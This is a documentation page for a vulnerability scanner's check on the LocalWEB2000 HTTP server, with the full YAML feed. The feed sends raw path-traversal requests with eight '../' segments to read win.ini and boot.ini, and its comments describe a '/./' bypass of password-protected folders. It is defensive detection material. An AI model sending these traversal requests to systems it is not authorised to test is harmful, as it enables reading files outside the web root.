LocalWEB2000 — 1 vulnerability check
noctis ships 1 vulnerability check for LocalWEB2000, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
LocalWEB2000 HTTP Server Directory Traversal and Protected-File Bypass
| CVE | CVE-2001-0189, CVE-2002-0897 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/localweb2000/localweb2000-multiple-vulns.yaml |
Tests the LocalWEB2000 HTTP server for two flaws. The feed first reads the Server header of the root page and only goes on when it names LocalWEB2000. It then requests windows/win.ini, winnt/win.ini and boot.ini through eight "../" segments in the URL path, without any login; the content of one of these Windows system files in a 200 reply proves that files outside the publishing directory can be read (CVE-2001-0189). A control request for an absent file must not return any file content, so a server that answers every request with the same content is not reported. Any LocalWEB2000 server is also reported as exposed to the "/./" bypass of password-protected folders (CVE-2002-0897): that check needs the name of a protected folder, which has no default, so it is based on the product banner alone. Only standard Windows configuration files are read.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Checks
root_r.bannerfor(?i)\A(?:[^\r\n]+\r?\n)*?Server[ \t]*:[ \t]*(LocalWEB2000[^\r\n]{0,60… - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /../../../../../../../../windows/win.ini HTTP/1.0 - Checks
winini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /../../../../../../../../winnt/win.ini HTTP/1.0 - Checks
winnt_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /../../../../../../../../boot.ini HTTP/1.0 - Checks
bootini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*\[boot loader\] - Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET {{ctrl_path}} HTTP/1.0 - Checks
ctrl_r.bannerfor(; for 16-bit app support|\[fonts\]|\[boot loader\]) - Checks
win_filefor^(windows/win\.ini|winnt/win\.ini|boot\.ini)$→ finding QoD 75: LocalWEB2000 HTTP Server Directory Traversal (CVE-2001-0189) - Checks
serverfor(?i)^LocalWEB2000→ finding QoD 70: LocalWEB2000 HTTP Server Protected-File Bypass (CVE-2002-0897)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-0189
- https://nvd.nist.gov/vuln/detail/CVE-2002-0897
- https://www.exploit-db.com/exploits/20585
- https://www.exploit-db.com/exploits/21475
- https://seclists.org/bugtraq/2001/Jan/317
- https://seclists.org/bugtraq/2002/May/220
Feed source — tests/vulnerabilities/localweb2000/localweb2000-multiple-vulns.yaml
# LocalWEB2000 HTTP server (Intranet-Server) — directory traversal (CVE-2001-0189)
# and "/./" protected-file bypass (CVE-2002-0897)
#
# LocalWEB2000 is a small Windows HTTP server. Version 1.1 serves files
# outside its publishing directory when the URL path carries "../" segments
# (Bugtraq 2001-01, EDB-20585: "http://target/../../../autoexec.bat").
# Standard Version 2.1.0 serves password-protected files when they are
# requested through the current directory, "http://host/./protectedfolder/
# protectedfile.htm" (Bugtraq 2002-05, EDB-21475). The vendor never published
# a fixed release.
#
# Detection:
# 1. GET / — the Server header must name LocalWEB2000 (the source check's
# only test), so the CVE is not attributed to any traversable server.
# 2. Benign read-only traversal proof (QoD 75, CVE-2001-0189): GET
# /../ x8 windows/win.ini, then winnt/win.ini, then boot.ini, sent
# verbatim through tcp_connect (an HTTP client would collapse the "../"
# segments). The file CONTENT under a 200 status line confirms the read.
# A control request for an absent file in an absent directory, ending in
# the same file name, must come back without any file signature
# (fail-closed), so tarpits and honeypots are not reported.
# 3. Product finding (QoD 70, CVE-2002-0897): the "/./" bypass needs the
# name of a folder the administrator protected, which has no default, so
# it cannot be probed generically; any LocalWEB2000 server is reported
# as exposed to it, like the source check does. The Server header value
# is quoted in the evidence.
#
# Improvement over the source check (which only reports the Server header):
# the traversal is actually exercised and proven with file content, and the
# finding names the CVE that was proven. CVSS: both CVEs have only NVD v2
# scores — 5.0 for CVE-2001-0189 (traversal finding), 7.5 for CVE-2002-0897
# (feed level / product finding).
#
# Ported from OpenVAS/Greenbone NVT pre2008/localweb2k.nasl (GPL-2.0-only).
uid: 7b68c571-5367-472a-9629-472b9003f725
name: "LocalWEB2000 HTTP Server Directory Traversal and Protected-File Bypass"
description: |
Tests the LocalWEB2000 HTTP server for two flaws. The feed first reads the
Server header of the root page and only goes on when it names
LocalWEB2000. It then requests windows/win.ini, winnt/win.ini and boot.ini
through eight "../" segments in the URL path, without any login; the
content of one of these Windows system files in a 200 reply proves that
files outside the publishing directory can be read (CVE-2001-0189). A
control request for an absent file must not return any file content, so a
server that answers every request with the same content is not reported.
Any LocalWEB2000 server is also reported as exposed to the "/./" bypass of
password-protected folders (CVE-2002-0897): that check needs the name of a
protected folder, which has no default, so it is based on the product
banner alone. Only standard Windows configuration files are read.
cves: [CVE-2001-0189, CVE-2002-0897]
cvss: 7.5
severity: high
category: file-read
confidence_base: 0.30
tags: [localweb2000, intranet-server, path-traversal, file-read, auth-bypass, windows]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-0189"
- "https://nvd.nist.gov/vuln/detail/CVE-2002-0897"
- "https://www.exploit-db.com/exploits/20585"
- "https://www.exploit-db.com/exploits/21475"
- "https://seclists.org/bugtraq/2001/Jan/317"
- "https://seclists.org/bugtraq/2002/May/220"
# OpenVAS/Greenbone NASL pre2008/localweb2k.nasl (GPL-2.0-only)
steps:
# ── Pre-initialise every value read later (undefined vars abort/skip) ────
- id: init-root-r
action: set_var
var_name: root_r
var_value: {connected: false, banner: ""}
- id: init-server-m
action: set_var
var_name: server_m
var_value: {matched: false, captures: []}
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {connected: false, banner: ""}
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {connected: false, banner: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-ctrl-path
action: set_var
var_name: ctrl_path
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-server
action: set_var
var_name: server
var_value: ""
# ── Gate: the Server header must name LocalWEB2000 ───────────────────────
- id: root-page
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: root_r
- id: server-header
action: match
source: root_r.banner
# Anchored to the header block (a "Server:" line in the page body does not count).
pattern: "(?i)\\A(?:[^\\r\\n]+\\r?\\n)*?Server[ \\t]*:[ \\t]*(LocalWEB2000[^\\r\\n]{0,60})"
condition: 'root_r.connected == true && type_of(root_r.banner) == "string"'
store_as: server_m
- id: server-value
action: script
code: |
if server_m.matched && server_m.captures.len() > 0 { chomp(server_m.captures[0]) } else { "" }
store_as: server
# ── c:\windows\win.ini ───────────────────────────────────────────────────
- id: read-winini
action: tcp_connect
port: "{{port}}"
send: "GET /../../../../../../../../windows/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'server != ""'
store_as: winini_r
- id: winini-content
action: match
source: winini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: 'server != "" && winini_r.connected == true && type_of(winini_r.banner) == "string"'
on_match:
set_vars:
win_file: "windows/win.ini"
# ── c:\winnt\win.ini (Windows NT / 2000) ─────────────────────────────────
- id: read-winnt
action: tcp_connect
port: "{{port}}"
send: "GET /../../../../../../../../winnt/win.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'server != "" && win_file == ""'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: 'server != "" && win_file == "" && winnt_r.connected == true && type_of(winnt_r.banner) == "string"'
on_match:
set_vars:
win_file: "winnt/win.ini"
# ── c:\boot.ini (Windows NT / 2000 / XP / 2003) ──────────────────────────
- id: read-bootini
action: tcp_connect
port: "{{port}}"
send: "GET /../../../../../../../../boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'server != "" && win_file == ""'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*\\[boot loader\\]"
case_insensitive: true
condition: 'server != "" && win_file == "" && bootini_r.connected == true && type_of(bootini_r.banner) == "string"'
on_match:
set_vars:
win_file: "boot.ini"
# ── Control: absent directory, same file name — must NOT carry a file ────
- id: control-path
action: script
code: |
if win_file != "" { "/../../../../../../../../noctis-absent-" + oob_token + "/" + win_file } else { "" }
store_as: ctrl_path
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET {{ctrl_path}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'ctrl_path != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
case_insensitive: true
condition: 'ctrl_path != "" && ctrl_r.connected == true && type_of(ctrl_r.banner) == "string"'
on_match:
set_vars:
ctrl_hit: true
# ── Finding 1: traversal proven (control answered and stayed clean) ──────
- id: report-traversal
action: match
source: win_file
pattern: "^(windows/win\\.ini|winnt/win\\.ini|boot\\.ini)$"
condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false'
on_match:
finding:
cves: [CVE-2001-0189]
cvss: 5.0
severity: medium
title: "LocalWEB2000 HTTP Server Directory Traversal (CVE-2001-0189)"
description: "An unauthenticated GET request with \"../\" segments in the URL path to the LocalWEB2000 server returned the content of a Windows system file outside the publishing directory, while the same request for an absent file did not. Any file readable by the server process can be read this way."
remediation: "LocalWEB2000 is no longer maintained and no fixed release was published: replace it with a supported web server, or at least restrict access to it to trusted hosts."
confidence_delta: 0.55
qod: 75
evidence: "Server: {{server}} — GET /../(x8){{win_file}} returned the content of c:/{{win_file}}; control for an absent file returned no file content"
# ── Finding 2: product exposed to the "/./" protected-file bypass ────────
- id: report-product
action: match
source: server
pattern: "(?i)^LocalWEB2000"
on_match:
finding:
cves: [CVE-2002-0897]
title: "LocalWEB2000 HTTP Server Protected-File Bypass (CVE-2002-0897)"
description: "The web server identifies itself as LocalWEB2000. LocalWEB2000 serves files of password-protected folders without authentication when they are requested through the current directory (\"/./protectedfolder/file\"), and no fixed release was published. The bypass itself was not exercised because it needs the name of a protected folder; the finding rests on the Server header."
remediation: "LocalWEB2000 is no longer maintained and no fixed release was published: replace it with a supported web server, or at least restrict access to it to trusted hosts."
confidence_delta: 0.40
qod: 70
evidence: "Server: {{server}}"